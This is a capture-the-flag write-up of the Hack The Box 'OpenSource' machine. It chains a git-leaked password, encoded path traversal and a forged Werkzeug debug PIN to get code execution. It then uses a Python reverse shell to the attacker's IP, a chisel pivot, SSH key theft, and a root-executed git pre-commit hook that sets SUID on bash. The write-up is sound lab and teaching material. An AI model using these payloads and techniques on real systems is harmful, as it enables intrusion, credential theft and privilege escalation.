writeup 2025-12-04 · 11 min read

Hack The Box OpenSource Writeup (Easy Linux)

Easy Linux box. A git commit leaks dev01 credentials, encoded path traversal reaches the Werkzeug PIN, and a root git-sync job runs a rogue pre-commit hook.

Hack The Box OpenSource Writeup (Easy Linux)

Summary

OpenSource is an easy Linux machine serving a Flask file upload app that also hands out its own source code. The download is a live git repository, and although gitleaks and trufflehog find nothing, walking the history with git show turns up a .vscode settings file committed with an http proxy string holding dev01’s password. The /uploads route filters path traversal by stripping ../ non recursively, so URL encoded slashes walk straight out of the web root, and reading /sys/class/net/eth0/address, /proc/sys/kernel/random/boot_id and /proc/self/cgroup supplies everything needed to compute the Werkzeug debug console PIN and get code execution as root inside the container. Chisel pivots onto the Docker bridge, where an internal Gitea on 172.17.0.1:3000 accepts the dev01 credentials and serves a home-backup repository containing his SSH private key. On the host, pspy shows root running /usr/local/bin/git-sync every minute against /home/dev01, so a pre-commit hook in that repository that runs chmod +s /bin/bash gives a root shell.

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 10.129.227.140
Host is up, received conn-refused (0.24s latency).
Scanned at 2025-12-04 12:04:12 -03 for 150s
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE    SERVICE REASON      VERSION
22/tcp   open     ssh     syn-ack     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
<SNIP>
80/tcp   open     http    syn-ack     Werkzeug/2.1.2 Python/3.10.3
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|<SNIP>
|_http-title: upcloud - Upload files for Free!

Web Server Enumeration

There’s not much to the web server. The home page directs me to two pages, one to download the app’s source code: http://10.129.227.140/download and the other to test the website’s main feature: http://10.129.227.140/upcloud

I run ffuf to discover more directories in the machine:

1
ffuf -u http://10.129.227.140/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words.txt -t 15

Eventually I get a hit for

1
/console

But it asks me for the PIN:

Werkzeug debug console atconsole asking for the PIN

It’s well known that, with enough information about the taget system, it’s possible to guess the PIN value. For now, let’s just keep in mind that the debug console is active.

Git Repository

Leaked Secrets

The website offers me the option to download the source code at http://10.129.227.140/download. I download it. First thing I notice is that it is a git repository (there’s a .git directory here):

1
2
3
4
5
6
7
8
9
10
$ ls -al 
total 32
drwxr-xr-x 5 user user 4096 Dec  4 15:51 .
drwxr-xr-x 5 user user 4096 Dec  4 16:30 ..
drwxrwxr-x 5 user user 4096 Apr 28  2022 app
-rwxr-xr-x 1 user user  110 Apr 28  2022 build-docker.sh
drwxr-xr-x 2 user user 4096 Apr 28  2022 config
-rw-r--r-- 1 user user  592 Dec  4 15:51 Dockerfile
drwxrwxr-x 8 user user 4096 Dec  4 17:36 .git
-rw-r--r-- 1 user user  220 Dec  4 15:51 .gitignore

I run gitleaks agaisnt this but nothing is found:

1
2
3
4
5
6
7
8
9
10
11
$ ~/hacking/tools/gitleaks/gitleaks detect --source src/ --verbose 

    ○
    │╲
    │ ○
    ○ ░
    ░    gitleaks

5:43PM INF 5 commits scanned.
5:43PM INF scanned ~4817697 bytes (4.82 MB) in 558ms
5:43PM INF no leaks found

I also run trufflehog against the repo with no results:

1
2
3
4
5
6
~/hacking/tools/trufflehog git file://$(pwd)/src 
🐷🔑🐷  TruffleHog. Unearth your secrets. 🐷🔑🐷

2025-12-04T17:46:43-03:00       info-0  trufflehog      running source  {"source_manager_worker_id": "g5Dx2", "with_units": true}
2025-12-04T17:46:43-03:00       info-0  trufflehog      scanning repo   {"source_manager_worker_id": "g5Dx2", "unit_kind": "dir", "unit": "/tmp/trufflehog-35396-4174848759", "repo": "file:///home/user/hacking/htb/machines/easy/opensource/src"}
2025-12-04T17:46:43-03:00       info-0  trufflehog      finished scanning       {"chunks": 151, "bytes": 1413856, "verified_secrets": 0, "unverified_secrets": 0, "scan_duration": "310.658511ms", "trufflehog_version": "3.91.2", "verification_caching": {"Hits":0,"Misses":0,"HitsWasted":0,"AttemptsSaved":0,"VerificationTimeSpentMS":0}}

I do git log --all and see some commit history:

git log --all output listing the commit history of the downloaded source

I start using git show against the commit hashes to see which files changed over time and eventually I found this in commit a76f8f75f7a4a12b706b0cf9c983796fa1985820:

git show of the commit that changed the .vscode settings file

It seems like they accidentally pushed cleartext credentials to the repo:

1
2
3
4
5
{
  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
  "http.proxyStrictSSL": false
}

New credentials:

1
2
Username: dev01
Password: Soulless_Developer#2022

Source Code Analysis

The uploads endpoint (in views.py) is defined:

1
2
3
4
@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

The get_file_name is a custom function that comes from app.utils:

1
2
3
4
5
6
7
8
9
10
11
12
13
# SNIP

def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")

"""
Recursively replace a pattern in a string
"""

def recursive_replace(search, replace_me, with_me):
    if replace_me not in search:
        return search
    return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)

It’s using a very basic filter to try and prevent path traversal.

Local File Inclusion

I test for LFI payloads and eventually I trigger an error in the application that leaks the variable named “SECRET”:

Application error page leaking the Werkzeug SECRET value

More specifically:

1
2
3
4
var CONSOLE_MODE = false,
     EVALEX = true,
     EVALEX_TRUSTED = false,
     SECRET = "BRE7dimChkKyvqwvxSZX";

Interesting, but I don’t think that’s particularly useful right now. This error also confirms where the application is located in the system:

1
/app

I try fuzzing LFI payloads against this endpoint:

1
ffuf -u 'http://10.129.227.140/uploads/FUZZ' -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -t 10

Sure enough I get a hit with the following payload:

1
..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 1172, Words: 3, Lines: 28]

Seems like they’re URL encoding the slashes, and it works fine to bypass the filter put in place by the application and I can get /etc/passwd from the victim machine:

/etc/passwd returned by the URL encoded path traversal payload

Following the info from this hacktricks article I first collect the mac address of the network interface (use eth0 as first attempt since it’s very common):

1
/uploads/..%2F..%2F..%2F%2F..%2F..%2F/sys/class/net/eth0/address

It returns me the hex value for the mac address:

1
02:42:ac:11:00:03

I can convert this hex blob by removing all semicolons and uisng python:

1
2
3
4
5
$ python3
Python 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x0242ac110003)
248537789235

I can trigger an error in the application to leak the full path to where Flask is installed in the system:

Error page leaking the full path to the installed Flask app.py

More specifically:

1
/usr/local/lib/python3.10/site-packages/flask/app.py

I get two more files that are required to complete this process:

1
2
/uploads/..%2F..%2F..%2F%2F..%2F..%2F/proc/sys/kernel/random/boot_id
/uploads/..%2F..%2F..%2F%2F..%2F..%2F/proc/self/cgroup

Save them to a folder named “loot”, and create a script to calculate the machine ID (the base script is also available in hacktricks’s article) with minor adjustments to the original:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import typing as t

def get_machine_id() -> t.Optional[t.Union[str, bytes]]:

    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in ["loot/boot_id"]:
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError as e:
                print('error', e)
                continue

            linux += value

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("loot/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        return None

    _machine_id = _generate()
    return _machine_id



print(get_machine_id().decode())

When I run the script above, it tells me the machine ID:

1
3c2257e7-0ae8-40a9-bc3b-023d95d30bc623c44f464bea685e2e377be5d501b71f600fb8d9888194e95f458113cc6a960e

And now I have all the information that’s needed. The complete script to guess the PIN for Werkzeug debug console is this, in my environment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain
probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892355',  # str(uuid.getnode()),  /sys/class/net/eth0/address (0242ac110003 to decimal)
    '3c2257e7-0ae8-40a9-bc3b-023d95d30bc623c44f464bea685e2e377be5d501b71f600fb8d9888194e95f458113cc6a960e'  # get_machine_id(), /etc/machine-id (3c2257e7-0ae8-40a9-bc3b-023d95d30bc6)
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

I run it:

1
2
$ python3 pin.py 
134-291-906

And I can use the PIN code to access the debug console. Now I have remote code execution as root:

Werkzeug debug console unlocked with the guessed PIN and running commands as root

Initial Access - RCE in Werkzeug Debug Console

I start a netcat listener on port 9999:

1
nc -lvnp 9999

Then I use the following reverse shell payload to get a shell:

1
import os,pty,socket;s=socket.socket();s.connect(("10.10.14.57",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")

I receive the connection immediately but I notice the shell is not optimal, there are weird characters being printed out:

1
2
3
connect to [10.10.14.57] from (UNKNOWN) [10.129.227.140] 47872
/app # ^[[26;8R
/app # ^[[26;8R

So I stabilize it by first putting it to the background (Ctrl + Z) and then stty raw -echo ;fg:

1
2
3
4
5
6
7
8
/app # ^Z
[2]+  Stopped                 nc -lvnp 9999
user@attackbox:~/hacking/htb/machines/easy/opensource/src$ stty raw -echo ;fg
nc -lvnp 9999

/app # 
/app # id 
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Now I have a more stable shell.

Pivoting

Nothing much going on in this docker. I notice the container IP isn’t the first one in the subnet:

1
172.17.0.3

So I start a chisel server on my machine:

1
./chisel server --reverse --socks5 --port 1337

And upload chisel to the victim machine to set it as a client:

1
nohup ./chisel client 10.10.14.57:1337 R:socks &

I use proxychains with nmap to scan the first host in the subnet:

1
proxychains4 nmap 172.17.0.1 -A -vv -oN scans/nmap.internal

This way I can see there’s a gitea instance running on port 3000:

proxychains nmap of 172.17.0.1 showing a Gitea instance on port 3000

I set up FoxyProxy firefox extension to use my chisel proxy:

FoxyProxy configured in Firefox to route traffic through the chisel SOCKS proxy

And now I can access the Gitea instance at http://172.17.0.1:3000/. I use the previously found credentials to “dev01” to log in to Gitea:

1
2
Username: dev01
Password: Soulless_Developer#2022

I can see right away dev01 has access to one repository named “home-backup”:

Gitea showing the home-backup repository owned by dev01

The repository contains the SSH private key for dev01, required in order to access the server via SSH (http://172.17.0.1:3000/dev01/home-backup/src/branch/main/.ssh/id_rsa):

dev01's SSH private key stored in the home-backup repository

I save this to my local machine, change permissions with chmod 600 id_rsa and connect to the machine using ssh dev01@10.129.227.140 -i id_rsa.

Vertical Privilege Escalation

I transfer pspy64 to the machine. With that, I discover root is executing the following binary every minute:

1
2025/12/04 19:07:01 CMD: UID=0     PID=9314   | /bin/bash /usr/local/bin/git-sync

I can read /usr/local/bin/git-sync:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

cd /home/dev01/

if ! git status --porcelain; then
    echo "No changes"
else
    day=$(date +'%Y-%m-%d')
    echo "Changes detected, pushing.."
    git add .
    git commit -m "Backup for ${day}"
    git push origin main
fi

Dangerous. The script is being ran as root, and using files we control over at /home/dev01. The home folder is indeed a git repository:

1
2
3
4
5
6
-bash-4.4$ git status 
On branch main
Your branch is ahead of 'origin/main' by 8 commits.
  (use "git push" to publish your local commits)

nothing to commit, working tree clean

I can create a malicious hook to execute whenever root tries to commit anything to repo. Git hooks are located in .git/hooks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-bash-4.4$ cd .git/hooks/
-bash-4.4$ ls -l 
total 52
-rwxrwxr-x 1 dev01 dev01  478 Mar 23  2022 applypatch-msg.sample
-rwxrwxr-x 1 dev01 dev01  896 Mar 23  2022 commit-msg.sample
-rwxrwxr-x 1 dev01 dev01 3327 Mar 23  2022 fsmonitor-watchman.sample
-rwxrwxr-x 1 dev01 dev01  189 Mar 23  2022 post-update.sample
-rwxrwxr-x 1 dev01 dev01  424 Mar 23  2022 pre-applypatch.sample
-rwxrwxr-x 1 dev01 dev01 1642 Mar 23  2022 pre-commit.sample
-rwxrwxr-x 1 dev01 dev01 1492 Mar 23  2022 prepare-commit-msg.sample
-rwxrwxr-x 1 dev01 dev01 1348 Mar 23  2022 pre-push.sample
-rwxrwxr-x 1 dev01 dev01 4898 Mar 23  2022 pre-rebase.sample
-rwxrwxr-x 1 dev01 dev01  544 Mar 23  2022 pre-receive.sample
-rwxrwxr-x 1 dev01 dev01 3610 Mar 23  2022 update.sample

Bunch of files, ending in .sample. Git will ignore all files that end with .sample. To create a hook that will actually execute, it shouldn’t end with .sample. I create the file “pre-commit”:

1
-rw-rw-r-x 1 dev01 dev01   32 Dec  4 20:02 pre-commit

With the following content:

1
2
3
4
-bash-4.4$ cat pre-commit
#!/bin/bash

chmod +s /bin/bash

It should be executable:

1
chmod +x pre-commit

So now the next time the git-sync script runs, it’ll hopefully execute this malicious pre-commit hook. I wait a few seconds and see the SUID in /bin/bash, indicating the exploit was a success:

1
2
-bash-4.4$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1113504 Apr 18  2022 /bin/bash

And now I can escalate to root by using /bin/bash -p:

Root shell obtained withbin/bash -p once the SUID bit was set

This post is licensed under CC BY 4.0 by the author.